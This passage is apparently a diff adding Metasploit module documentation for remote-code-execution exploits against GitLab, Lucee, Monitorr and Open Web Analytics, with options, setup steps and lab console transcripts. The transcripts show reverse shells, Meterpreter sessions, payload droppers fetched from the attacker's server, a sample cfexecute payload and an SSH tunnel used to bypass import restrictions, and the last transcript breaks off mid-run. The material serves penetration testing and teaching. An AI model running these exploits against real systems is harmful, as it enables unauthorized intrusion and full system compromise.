||||
## Options
|
||||
|
||||
### TARGETURI (required)
|
||||
|
||||
The path to the GitLab (Default: `/`).
|
||||
|
||||
### USERNAME (required)
|
||||
|
||||
The username of the target user to authenticate with.
|
||||
|
||||
### PASSWORD (required)
|
||||
|
||||
The password of the target user to authenticate with.
|
||||
|
||||
### SRVHOST (required)
|
||||
|
||||
The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
|
||||
|
||||
### SRVPORT (required)
|
||||
|
||||
The local port to listen on. This is the port to be used when creating the tunnel.
|
||||
|
||||
### URIHOST
|
||||
|
||||
Host to use in GitHub import URL. On default GitLab instances, this must be either a public (non-RFC1918) IP address or
|
||||
a hostname that resolves to a public IP address. This option can be used in conjunction with a reverse port-forwarding
|
||||
service such as SSH or NGROK. **The target GitLab server will connect to this host and eventually receive the payload
|
||||
through it, so it is important to use a host that is considered to be trustworthy.**
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Docker container running GitLab 15.3.1
|
||||
|
||||
The following example uses the following three hosts:
|
||||
|
||||
* 192.168.159.128 -- The target GitLab server
|
||||
* 192.168.250.134 -- The host on which Metasploit is running
|
||||
* ext.msflab.local -- An external host on the internet through which the HTTP requests from GitLab to Metasploit are
|
||||
tunneled in order to bypass GitLab restrictions.
|
||||
|
||||
External to Metasploit, SSH is used to setup a reverse port forward through a host with a public (non-RFC1918) IP
|
||||
address. This is necessary to bypass Import URL restrictions that are in place by default on GitLab. The port-forward
|
||||
was configured with `ssh -R 8088:localhost:8088 ext.msflab.local` to forward TCP port 8088 on ext.msflab.local to the
|
||||
local Metasploit instance. Alternatively, this step could be skipped if Metasploit were running on a host with public IP
|
||||
address.
|
||||
|
||||
If the target GitLab server can not import from the specified URL (for example because the host is a private IP
|
||||
address), then the module will throw this error:
|
||||
|
||||
```
|
||||
[-] Exploit failed: Msf::Exploit::Remote::HTTP::Gitlab::Error::ImportError Invalid URL: http://192.168.250.134:8088/
|
||||
```
|
||||
|
||||
```
|
||||
msf6 exploit(multi/http/gitlab_github_import_rce_cve_2022_2992) > options
|
||||
|
||||
Module options (exploit/multi/http/gitlab_github_import_rce_cve_2022_2992):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
IMPORT_DELAY 5 yes Time to wait from the import task before try to trigger the payload
|
||||
PASSWORD Password1! yes The password for the specified username
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.159.128 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 880 yes The target port (TCP)
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 8088 yes The local port to listen on.
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
TARGETURI / yes The base path to the gitlab application
|
||||
URIHOST ext.msflab.local no Host to use in GitHub import URL
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
USERNAME smcintyre yes The username to authenticate as
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/unix/reverse_bash):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 192.168.250.134 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Unix Command
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(multi/http/gitlab_github_import_rce_cve_2022_2992) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.250.134:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Detected GitLab version 15.3.1 which is vulnerable.
|
||||
[*] Using URL: http://ext.msflab.local:8088/
|
||||
[*] Command shell session 1 opened (192.168.250.134:4444 -> 192.168.250.134:56794) at 2023-02-13 13:41:05 -0500
|
||||
id
|
||||
[*] Server stopped.
|
||||
|
||||
uid=998(git) gid=998(git) groups=998(git)
|
||||
pwd
|
||||
/var/opt/gitlab/gitlab-rails/working
|
||||
exit
|
||||
[*] 192.168.159.128 - Command shell session 1 closed.
|
||||
msf6 exploit(multi/http/gitlab_github_import_rce_cve_2022_2992) >
|
||||
```
|
||||
@@ -0,0 +1,221 @@
|
||||
# Vulnerable Application
|
||||
Lucee is an Open Source ColdFusion server/engine intended for rapid web development. Many implementations of
|
||||
ColdFusion files support dynamic input and server side code execution.
|
||||
In the case of this module, Lucees implementation supports the use of `cfexecute` and `cfscript` tags in `.cfm` files.
|
||||
|
||||
In addition to these features, Lucee provides a scheduled job feature. This feature will accept an
|
||||
external `url` argument and query that page on execution. If logging is enabled, it is possible to
|
||||
query a remote ColdFusion document, log it in the web root, and access it to execute its code,
|
||||
subsequently achieving arbitrary server side code execution. The payload will run as the user
|
||||
specified during the Lucee installation. On Windows, this is a service account; on Linux,
|
||||
it is either the root user or lucee.
|
||||
|
||||
The series of requests to achieve this is as follows.
|
||||
|
||||
1. Authenticate as the administrator to the web admin panel
|
||||
2. Create a scheduled job that includes a URL to the remote ColdFusion document
|
||||
3. Update the scheduled job to turn on logging and ensure that the remote document is logged to the web root
|
||||
4. Execute the scheduled job. The Lucee server will now reach out to and download the ColdFusion document from the attackers server
|
||||
5. Access the document at the web root of the server, thus executing the payload.
|
||||
|
||||
The basic format for the remote ColdFusion document is as follows.
|
||||
```html
|
||||
<cfscript>
|
||||
cfexecute(name="powershell.exe", arguments="-c whoami",timeout=5);
|
||||
</cfscript>
|
||||
```
|
||||
|
||||
The scheduled job feature of Lucee is available in all versions currently available through the vendors website,
|
||||
available [here](https://download.lucee.org/).As this is default functionality that does not require
|
||||
any additional setup/configuration, the application is vulnerable immediately upon setup.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Download and install Lucee from the vendors website. This can be done on either a Windows or Unix host.
|
||||
No additional setup is needed beyond the initial installation walkthrough
|
||||
2. Start MSF Console
|
||||
3. Do: `use multi/http/lucee_scheduled_job`
|
||||
4. Choose a target that reflects the target system
|
||||
- `use X` (0 for Windows, 1 for Linux)
|
||||
5. Select payload. This functions with command execution payloads and supports reverse shells and generic commands.
|
||||
6. Select the desired payload and complete its requirement. `CMD`, `LHOST`, `LPORT`, etc.
|
||||
7. Select the appropriate `RHOST`, `PASSWORD`, and (if necessary), the `TARGETURI`
|
||||
8. Execute the payload. You should either receive a shell or see the output of your command.
|
||||
|
||||
## Options
|
||||
|
||||
### RHOSTS
|
||||
|
||||
Remote host to target.
|
||||
|
||||
### RPORT
|
||||
|
||||
Port being used by the Lucee admin panel. Default is 8888
|
||||
|
||||
### PASSWORD
|
||||
|
||||
The password of the administrative user. Lucee does not use a username, only a password to access the admin panel.
|
||||
|
||||
### TARGETURI
|
||||
|
||||
Target URI of the Lucee administrator panel. Default is
|
||||
|
||||
`/lucee/admin/web.cfm/`
|
||||
|
||||
|
||||
### PAYLOAD_DEPLOY_TIMEOUT
|
||||
|
||||
Periodically, the target web server may take a moment to download and make the payload accessible. This
|
||||
parameter determines how long the exploit should wait until considering the payload inaccessible.
|
||||
|
||||
|
||||
## Scenarios
|
||||
### Successful exploitation of a Windows 10 host running Lucee 5.3.10.120 for a service account shell
|
||||
```
|
||||
msf6 > use exploit/multi/http/lucee_scheduled_job
|
||||
[*] Using configured payload cmd/windows/generic
|
||||
msf6 exploit(multi/http/lucee_scheduled_job) > set payload cmd/windows/powershell_reverse_tcp
|
||||
payload => cmd/windows/powershell_reverse_tcp
|
||||
msf6 exploit(multi/http/lucee_scheduled_job) > set RHOSTS 10.0.0.164
|
||||
RHOSTS => 10.0.0.164
|
||||
msf6 exploit(multi/http/lucee_scheduled_job) > set LHOST 10.0.0.45
|
||||
LHOST => 10.0.0.45
|
||||
msf6 exploit(multi/http/lucee_scheduled_job) > set PASSWORD admin123
|
||||
PASSWORD => admin123
|
||||
msf6 exploit(multi/http/lucee_scheduled_job) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.19.145:4444
|
||||
[+] Authenticated successfully
|
||||
[*] Using URL: http://192.168.19.145:8081/W7hSRT7xJLjosBr.cfm
|
||||
[+] Job W7hSRT7xJLjosBr created successfully
|
||||
[+] Job W7hSRT7xJLjosBr updated successfully
|
||||
[*] Executing scheduled job: W7hSRT7xJLjosBr
|
||||
[+] Job W7hSRT7xJLjosBr executed successfully
|
||||
[*] Attempting to access payload...
|
||||
[*] Payload request received for /W7hSRT7xJLjosBr.cfm?RequestTimeout=50 from 192.168.19.131
|
||||
[*] Attempting to access payload...
|
||||
[*] Powershell session session 1 opened (192.168.19.145:4444 -> 192.168.19.131:53204) at 2023-02-28 19:52:46 -0600
|
||||
[*] Received 500 response from W7hSRT7xJLjosBr.cfm
|
||||
[+] Exploit completed.
|
||||
[*] Removing scheduled job W7hSRT7xJLjosBr
|
||||
[+] Scheduled job removed.
|
||||
[*] Server stopped.
|
||||
[!] This exploit may require manual cleanup of 'C:\lucee\tomcat\webapps\ROOT\W7hSRT7xJLjosBr.cfm' on the target
|
||||
|
||||
|
||||
Shell Banner:
|
||||
Windows PowerShell running as user LOCAL SERVICE on HOMELAB-BINCE
|
||||
Copyright (C) Microsoft Corporation. All rights reserved.
|
||||
-----
|
||||
|
||||
PS C:\lucee\tomcat>
|
||||
```
|
||||
### Successful exploitation of a Windows 10 host running Lucee 5.3.10.120 executing whoami
|
||||
```
|
||||
msf6 > use exploit/multi/http/lucee_scheduled_job
|
||||
[*] Using configured payload cmd/windows/generic
|
||||
msf6 exploit(multi/http/lucee_scheduled_job) > set PASSWORD admin123
|
||||
PASSWORD => admin123
|
||||
msf6 exploit(multi/http/lucee_scheduled_job) > set CMD whoami
|
||||
CMD => whoami
|
||||
msf6 exploit(multi/http/lucee_scheduled_job) > set RHOSTS 10.0.0.164
|
||||
RHOSTS => 10.0.0.164
|
||||
msf6 exploit(multi/http/lucee_scheduled_job) > run
|
||||
|
||||
[+] Authenticated successfully
|
||||
[*] Using URL: http://192.168.19.145:8081/UHn0jvUP2ZDtgwN.cfm
|
||||
[+] Job UHn0jvUP2ZDtgwN created successfully
|
||||
[+] Job UHn0jvUP2ZDtgwN updated successfully
|
||||
[*] Executing scheduled job: UHn0jvUP2ZDtgwN
|
||||
[+] Job UHn0jvUP2ZDtgwN executed successfully
|
||||
[*] Attempting to access payload...
|
||||
[*] Payload request received for /UHn0jvUP2ZDtgwN.cfm?RequestTimeout=50 from 192.168.19.131
|
||||
[*] Attempting to access payload...
|
||||
[+] Received 200 response from UHn0jvUP2ZDtgwN.cfm
|
||||
[+] Output: nt authority\local service
|
||||
[+] Exploit completed.
|
||||
[*] Removing scheduled job UHn0jvUP2ZDtgwN
|
||||
[+] Scheduled job removed.
|
||||
[*] Server stopped.
|
||||
[!] This exploit may require manual cleanup of 'C:\lucee\tomcat\webapps\ROOT\UHn0jvUP2ZDtgwN.cfm' on the target
|
||||
[*] Exploit completed, but no session was created.
|
||||
```
|
||||
|
||||
### Successful exploitation of a Docker host running Lucee 5.1.4.19 for a shell as Lucee
|
||||
```
|
||||
msf6 > use exploit/multi/http/lucee_scheduled_job
|
||||
[*] Using configured payload cmd/windows/generic
|
||||
msf6 exploit(multi/http/lucee_scheduled_job) > set PASSWORD admin123
|
||||
PASSWORD => admin123
|
||||
msf6 exploit(multi/http/lucee_scheduled_job) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(multi/http/lucee_scheduled_job) > set payload cmd/unix/reverse_bash
|
||||
payload => cmd/unix/reverse_bash
|
||||
msf6 exploit(multi/http/lucee_scheduled_job) > set LHOSTS 10.0.0.45
|
||||
LHOST => 10.0.0.45
|
||||
msf6 exploit(multi/http/lucee_scheduled_job) > set RHOSTS 10.0.0.33
|
||||
RHOSTS => 10.0.0.33
|
||||
msf6 exploit(multi/http/lucee_scheduled_job) > set PASSWORD admin123
|
||||
PASSWORD => admin123
|
||||
msf6 exploit(multi/http/lucee_scheduled_job) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.19.145:4444
|
||||
[+] Authenticated successfully
|
||||
[*] Using URL: http://192.168.19.145:8081/CUyWHyD6Y.cfm
|
||||
[+] Job CUyWHyD6Y created successfully
|
||||
[+] Job CUyWHyD6Y updated successfully
|
||||
[*] Executing scheduled job: CUyWHyD6Y
|
||||
[+] Job CUyWHyD6Y executed successfully
|
||||
[*] Attempting to access payload...
|
||||
[*] Payload request received for /CUyWHyD6Y.cfm?RequestTimeout=50 from 192.168.19.145
|
||||
[*] Attempting to access payload...
|
||||
[*] Received 500 response from CUyWHyD6Y.cfm Check your listener!
|
||||
[+] Exploit completed.
|
||||
[*] Removing scheduled job CUyWHyD6Y
|
||||
[+] Scheduled job removed.
|
||||
[+] Deleted /srv/www/app/webroot/CUyWHyD6Y.cfm
|
||||
[*] Command shell session 1 opened (192.168.19.145:4444 -> 192.168.19.145:58686) at 2023-02-28 19:56:11 -0600
|
||||
[*] Server stopped.
|
||||
|
||||
whoami
|
||||
root
|
||||
```
|
||||
### Successful exploitation of a Docker host running Lucee 5.1.4.19 executing whoami
|
||||
```
|
||||
msf6 > use exploit/multi/http/lucee_scheduled_job
|
||||
[*] Using configured payload cmd/windows/generic
|
||||
msf6 exploit(multi/http/lucee_scheduled_job) > set PASSWORD admin123
|
||||
PASSWORD => admin123
|
||||
msf6 exploit(multi/http/lucee_scheduled_job) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(multi/http/lucee_scheduled_job) > set RHOSTS 127.0.0.1
|
||||
RHOSTS => 127.0.0.1
|
||||
msf6 exploit(multi/http/lucee_scheduled_job) > set payload cmd/unix/generic
|
||||
payload => cmd/unix/generic
|
||||
msf6 exploit(multi/http/lucee_scheduled_job) > set CMD whoami
|
||||
CMD => whoami
|
||||
msf6 exploit(multi/http/lucee_scheduled_job) > set PASSWORD admin123
|
||||
PASSWORD => admin123
|
||||
msf6 exploit(multi/http/lucee_scheduled_job) > run
|
||||
|
||||
[+] Authenticated successfully
|
||||
[*] Using URL: http://192.168.19.145:8081/GCHSFzGe.cfm
|
||||
[+] Job GCHSFzGe created successfully
|
||||
[+] Job GCHSFzGe updated successfully
|
||||
[*] Executing scheduled job: GCHSFzGe
|
||||
[+] Job GCHSFzGe executed successfully
|
||||
[*] Attempting to access payload...
|
||||
[*] Payload request received for /GCHSFzGe.cfm?RequestTimeout=50 from 192.168.19.145
|
||||
[+] Received 200 response from GCHSFzGe.cfm
|
||||
[+] Output: root
|
||||
[+] Exploit completed.
|
||||
[*] Removing scheduled job GCHSFzGe
|
||||
[+] Scheduled job removed.
|
||||
[*] Server stopped.
|
||||
[!] This exploit may require manual cleanup of '/srv/www/app/webroot/GCHSFzGe.cfm' on the target
|
||||
[*] Exploit completed, but no session was created.
|
||||
```
|
||||
## Caveats
|
||||
There are a few caveats worth mentioning that are inherent to Lucee's implementation of ColdFusion
|
||||
- When a shell command returns multiple lines of output, coldfusion may limit the amount that is returned; i.e. it
|
||||
will return the full value of an `ls` command, but it may not return the full value of `netstat`
|
||||
@@ -0,0 +1,231 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits an arbitrary file upload vulnerability (CVE-2020-28871) that results into an RCE in Monitorr,
|
||||
a web application that allows you to setup a dashboard to monitor various web site/web application up or down state.
|
||||
All versions including `v1.7.6m` and latest development release `v1.7.7d` are vulnerable and no patch is available.
|
||||
|
||||
The vulnerability occurs due to a lack of appropriate validation when uploading a malicious `GIF` file with
|
||||
embedded PHP code to the `assets/data/usrimg` (Linux) or `assets\data\usrimg` (Windows) directory on the web server
|
||||
using the vulnerable endpoint `/assets/php/upload.php`. Once uploaded to the server, depending on server configuration,
|
||||
the attacker can access the malicious `GIF` file via HTTP or HTTPS, thereby executing the malicious PHP code and
|
||||
gaining access to the system.
|
||||
|
||||
This vulnerability does not require authentication and any remote attacker can exploit this vulnerability to gain
|
||||
access to the underlying operating system as the user under which the web services are running (typically `www-data`).
|
||||
|
||||
Installing a vulnerable test bed requires a Linux or Windows machine with the vulnerable Monitorr software loaded.
|
||||
Follow instructions [Monitorr Install](https://github.com/Monitorr/Monitorr/wiki/01-Config:--Initial-configuration),
|
||||
to install the Monitorr application either on Linux or Windows.
|
||||
|
||||
This module has been tested against a Monitorr installation with the specifications listed below:
|
||||
|
||||
* Monitorr
|
||||
* Version: `1.7.6m`
|
||||
* Linux OS: Ubuntu 22.04
|
||||
* Windows OS: Windows Data Center 2019
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `use exploit/multi/http/monitorr_webshell_rce_cve_2020_28871`
|
||||
1. `set RHOSTS <TARGET HOSTS>`
|
||||
1. `set RPORT <port>`
|
||||
1. `set LHOST <attacker host ip>`
|
||||
1. `set LPORT <attacker host port>`
|
||||
1. `set TARGET <0-PHP, 1-Unix command, 2-Linux Dropper, 3-Windows command, or 4-Windows Dropper>`
|
||||
1. `exploit`
|
||||
1. You should get a `bash` shell or `meterpreter` session depending on the target and payload settings.
|
||||
|
||||
## Options
|
||||
|
||||
### WEBSHELL
|
||||
You can use this option to set the filename and extension of the webshell.
|
||||
This is handy if you want to test the webshell upload and execution with different file extensions (.phtml, .php7, .inc)
|
||||
to bypass any security settings on the Web and PHP server.
|
||||
|
||||
### COMMAND
|
||||
This option provides the user to choose the PHP underlying shell command function to be used for execution.
|
||||
The choices are `system()`, `passthru()`, `shell_exec()` and `exec()` and it defaults to `passthru()`.
|
||||
This option is only available when the target selected is either Unix Command or Linux Dropper.
|
||||
For the native PHP target, by default the `eval()` function will be used for native PHP code execution.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Monitorr 1.7.6m on Ubuntu Linux 22.04 - PHP Meterpreter session
|
||||
```
|
||||
msf6 > use exploit/multi/http/monitorr_webshell_rce_cve_2020_28871
|
||||
[*] Using configured payload php/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/http/monitorr_webshell_rce_cve_2020_28871) > options
|
||||
Module options (exploit/multi/http/monitorr_webshell_rce_cve_2020_28871):
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
TARGETURI / yes SugarCRM base url
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
VHOST no HTTP server virtual host
|
||||
WEBSHELL no The name of the webshell with extension to trick the parser like .phtml, .phar, etc. Webshell
|
||||
name will be randomly generated if left unset.
|
||||
When TARGET is not 0:
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
COMMAND passthru yes Use PHP command function (Accepted: passthru, shell_exec, system, exec)
|
||||
When CMDSTAGER::FLAVOR is one of auto,certutil,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or
|
||||
0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 1981 yes The local port to listen on.
|
||||
Payload options (php/meterpreter/reverse_tcp):
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
Exploit target:
|
||||
Id Name
|
||||
-- ----
|
||||
0 PHP
|
||||
View the full module info with the info, or info -d command.
|
||||
msf6 exploit(multi/http/monitorr_webshell_rce_cve_2020_28871) > set rhosts 192.168.201.34
|
||||
rhosts => 192.168.201.34
|
||||
msf6 exploit(multi/http/monitorr_webshell_rce_cve_2020_28871) > set lhost 192.168.201.10
|
||||
lhost => 192.168.201.10
|
||||
msf6 exploit(multi/http/monitorr_webshell_rce_cve_2020_28871) > set lport 4444
|
||||
lport => 4444
|
||||
msf6 exploit(multi/http/monitorr_webshell_rce_cve_2020_28871) > set target 0
|
||||
target => 0
|
||||
msf6 exploit(multi/http/monitorr_webshell_rce_cve_2020_28871) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.201.10:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Monitorr version: 1.7.6m
|
||||
[*] Executing PHP for php/meterpreter/reverse_tcp
|
||||
[*] Sending stage (39927 bytes) to 192.168.201.34
|
||||
[+] Deleted tsrezgkjwmtxyj.php
|
||||
[*] Meterpreter session 1 opened (192.168.201.10:4444 -> 192.168.201.34:54680) at 2023-03-13 16:14:32 +0000
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : cuckoo
|
||||
OS : Linux cuckoo 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64
|
||||
Meterpreter : php/linux
|
||||
meterpreter > getuid
|
||||
Server username: www-data
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Monitorr 1.7.6m on Ubuntu Linux 22.04 - bash reverse shell
|
||||
```
|
||||
msf6 exploit(multi/http/monitorr_webshell_rce_cve_2020_28871) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(multi/http/monitorr_webshell_rce_cve_2020_28871) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.201.10:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Monitorr version: 1.7.6m
|
||||
[*] Executing Unix Command for cmd/unix/reverse_bash
|
||||
[+] Deleted jzcjawsk.php
|
||||
[*] Command shell session 2 opened (192.168.201.10:4444 -> 192.168.201.34:58348) at 2023-03-13 16:16:06 +0000
|
||||
|
||||
uname -a
|
||||
Linux cuckoo 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
|
||||
id
|
||||
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||
```
|
||||
|
||||
### Monitorr 1.7.6m on Ubuntu Linux 22.04 - Linux Dropper Meterpreter session
|
||||
```
|
||||
msf6 exploit(multi/http/monitorr_webshell_rce_cve_2020_28871) > set target 2
|
||||
target => 2
|
||||
msf6 exploit(multi/http/monitorr_webshell_rce_cve_2020_28871) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.201.10:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Monitorr version: 1.7.6m
|
||||
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
|
||||
[*] Using URL: http://192.168.201.10:1981/nAtmJo
|
||||
[*] Client 192.168.201.34 (Wget/1.21.2) requested /nAtmJo
|
||||
[*] Sending payload to 192.168.201.34 (Wget/1.21.2)
|
||||
[*] Sending stage (3045348 bytes) to 192.168.201.34
|
||||
[+] Deleted ebdzghdq.php
|
||||
[*] Meterpreter session 3 opened (192.168.201.10:4444 -> 192.168.201.34:32922) at 2023-03-13 16:17:05 +0000
|
||||
[*] Command Stager progress - 100.00% done (113/113 bytes)
|
||||
[*] Server stopped.
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.201.34
|
||||
OS : Ubuntu 22.04 (Linux 5.15.0-60-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > getuid
|
||||
Server username: www-data
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Monitorr 1.7.6m on Windows Data Center 2019 - Powershell Meterpreter session
|
||||
```
|
||||
msf6 exploit(multi/http/monitorr_webshell_rce_cve_2020_28871) > set rhosts 192.168.201.36
|
||||
rhosts => 192.168.201.36
|
||||
msf6 exploit(multi/http/monitorr_webshell_rce_cve_2020_28871) > check
|
||||
[+] 192.168.201.36:80 - The target is vulnerable. Monitorr version: 1.7.6m
|
||||
msf6 exploit(multi/http/monitorr_webshell_rce_cve_2020_28871) > set target 3
|
||||
target => 3
|
||||
msf6 exploit(multi/http/monitorr_webshell_rce_cve_2020_28871) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.201.10:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Monitorr version: 1.7.6m
|
||||
[*] Executing Windows Command for cmd/windows/powershell/meterpreter/reverse_tcp
|
||||
[*] Sending stage (175686 bytes) to 192.168.201.36
|
||||
[+] Deleted dkvszuqil.php
|
||||
[*] Meterpreter session 4 opened (192.168.201.10:4444 -> 192.168.201.36:54805) at 2023-03-13 16:18:53 +0000
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN-HHRQENPDSRS
|
||||
OS : Windows 2016+ (10.0 Build 17763).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 1
|
||||
Meterpreter : x86/windows
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Monitorr 1.7.6m on Windows Data Center 2019 - Windows Dropper Meterpreter session
|
||||
```
|
||||
msf6 exploit(multi/http/monitorr_webshell_rce_cve_2020_28871) > set target 4
|
||||
target => 4
|
||||
msf6 exploit(multi/http/monitorr_webshell_rce_cve_2020_28871) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.201.10:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Monitorr version: 1.7.6m
|
||||
[*] Executing Windows EXE Dropper for windows/x64/meterpreter/reverse_tcp
|
||||
[*] Using URL: http://192.168.201.10:1981/EEFxVaRHZLJZNrF
|
||||
[*] Client 192.168.201.36 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17763.1) requested /EEFxVaRHZLJZNrF
|
||||
[*] Sending payload to 192.168.201.36 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17763.1)
|
||||
[*] Sending stage (200774 bytes) to 192.168.201.36
|
||||
[+] Deleted zyrkwyinvjnzr.php
|
||||
[*] Meterpreter session 5 opened (192.168.201.10:4444 -> 192.168.201.36:54882) at 2023-03-13 16:19:52 +0000
|
||||
[*] Command Stager progress - 100.00% done (155/155 bytes)
|
||||
[*] Server stopped.
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN-HHRQENPDSRS
|
||||
OS : Windows 2016+ (10.0 Build 17763).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 1
|
||||
Meterpreter : x64/windows
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
## Limitations
|
||||
No limitations identified.
|
||||
@@ -0,0 +1,84 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Open Web Analytics (OWA) before 1.7.4 allows an unauthenticated
|
||||
remote attacker to obtain sensitive user information, which can be
|
||||
used to gain admin privileges by leveraging cache hashes. This occurs
|
||||
because files generated with '<?php (instead of the intended "<?php sequence) aren't
|
||||
handled by the PHP interpreter.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start a vulnerable instance of OWA using docker
|
||||
- Download https://github.com/Pflegusch/CVE-2022-24637/blob/main/deployment/docker-compose.yml
|
||||
- Start the containers: `docker compose up -d`
|
||||
- Open http://127.0.0.1:80/
|
||||
- Follow installation steps using the envs from the `docker-compose.yml` file
|
||||
- Public URL: `http://127.0.0.1/`
|
||||
- Database Host (`docker inspect <db-container>` and get `IPAddress`, e.g `172.22.0.2`)
|
||||
- Database Port: `3306`
|
||||
- Database Name: `owa`
|
||||
- Database User: `owa`
|
||||
- Database Password: `Demo12+#`
|
||||
- Continue
|
||||
- Site Domain: `http://127.0.0.1`
|
||||
- Admin name: `admin`
|
||||
- E-Mail: `admin@admin.com`
|
||||
- Password: `Demo12+#`
|
||||
- Continue
|
||||
|
||||
2. Start `msfconsole`
|
||||
3. `use exploit/multi/http/open_web_analytics_rce`
|
||||
4. `set RHOSTS 127.0.0.1`
|
||||
5. `set RPORT 80`
|
||||
6. `set SSL false`
|
||||
7. `set LHOST 172.22.0.1` -> this needs to be bridge IP that got created with the `docker compose up -d` command
|
||||
8. `check`
|
||||
9. `run`
|
||||
|
||||
## Options
|
||||
### Password
|
||||
|
||||
When exploiting the target, the password of the attacked user will be overwritten with this password.
|
||||
|
||||
### Username
|
||||
|
||||
The user that will be targeted with this exploit.
|
||||
|
||||
## Advanced Options
|
||||
### SearchLimit
|
||||
|
||||
The exploit works by retrieving a `temp_passkey` value from a cache file that gets created for each user when trying to login with it.
|
||||
Since the `/owa-data/caches/` directory is publicly accessible, we can retrieve these cache files. The exact path for the cache files
|
||||
depends on the `user_id` and can get calculated with that. This option defines how many calculated paths, starting from 0, should be
|
||||
checked for cache files with the `temp_passkey` value in it.
|
||||
|
||||
## Scenarios
|
||||
### Version 1.7.3 using docker deployment from above
|
||||
```
|
||||
msf6 exploit(multi/http/open_web_analytics_rce) > set RHOSTS 127.0.0.1
|
||||
RHOSTS => 127.0.0.1
|
||||
msf6 exploit(multi/http/open_web_analytics_rce) > set LHOST 172.22.0.1
|
||||
LHOST => 172.22.0.1
|
||||
msf6 exploit(multi/http/open_web_analytics_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.22.0.1:4444
|
||||
